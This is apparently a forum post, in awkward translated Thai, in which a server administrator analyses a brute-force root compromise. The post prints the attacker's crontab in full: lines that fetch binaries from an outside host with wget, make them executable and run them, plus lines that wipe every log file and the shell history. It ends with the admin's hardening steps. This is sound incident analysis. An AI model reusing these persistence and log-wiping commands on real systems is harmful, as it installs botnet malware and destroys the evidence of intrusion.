ดีอย่างที่คาดไว้และตามที่ @Joel Davis กล่าวว่าบันทึกทั้งหมดถูกลบ แต่มีไฟล์หนึ่งไฟล์ที่ @Ramesh กล่าวว่ามีความพยายามในการเข้าถึงผู้ใช้รูท แต่ไม่สามารถป้อนรหัสผ่านที่ถูกต้องได้สองสามครั้ง ลองซ้ำหลายครั้งเกินไป
ฉันวิ่งไปตามเส้นทางสามที่อยู่สองแห่งมาจากจีนและอีกแห่งมาจากปากีสถาน นี่คือ IP:
221.120.224.179
116.10.191.218
61.174.51.221
ข้อมูลเพิ่มเติมเกี่ยวกับบ็อตเน็ตที่ถูกฉีดเข้าไปในเซิร์ฟเวอร์หลังจากถูกบุกรุก:
แฮกเกอร์แก้ไข crontab เพื่อรันโปรแกรมปฏิบัติการ 7 ตัวซึ่งจะใช้เวลา x จำนวนทั้งหมดใช้ CPU ทั้งหมดเอาท์พุทเครือข่ายเซิร์ฟเวอร์สูงสุดแล้วก็ตาย นอกจากนี้ยังเพิ่ม readme ใน crontab 100 ครั้งเพื่อซ่อนบรรทัดที่เพิ่มดังนั้นเมื่อคุณทำcrontab -l
คุณจะถูก spammed โดย readme ที่มีบรรทัดที่ซ่อนอยู่ เพื่อหลีกเลี่ยงสิ่งนี้ฉันใช้crontab -l | grep -v '^#'
และนี่คือผลลัพธ์ของคำสั่งนั้น:
*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
อย่างที่คุณเห็นไฟล์บันทึกทั้งหมดจะถูกลบนี่คือสาเหตุที่ฉันไม่สามารถดึงข้อมูลจำนวนมากได้
มันทำให้ทั้งเซิร์ฟเวอร์ (VMs ทั้งหมด) ทำให้หมดเวลาในเว็บไซต์และใน proxmox นี่คือกราฟ (หนามหมายถึง botnet แข็งขัน DDoS'ing และสังเกตเห็นเครือข่ายออก):
ดังนั้นฉันจะเพิ่มช่วงทั้งหมดของที่อยู่ IP จีนลงในไฟร์วอลล์เพื่อบล็อกการเชื่อมต่อทั้งหมด (ฉันไม่มีผู้ใช้ภาษาจีนดังนั้นฉันไม่สนใจ) ฉันจะไม่อนุญาตการล็อกอินรูทระยะไกลและใช้คอมเพล็กซ์แบบยาว รหัสผ่าน ฉันมักจะเปลี่ยนพอร์ต ssh และใช้คีย์ ssh ส่วนตัวเช่นกัน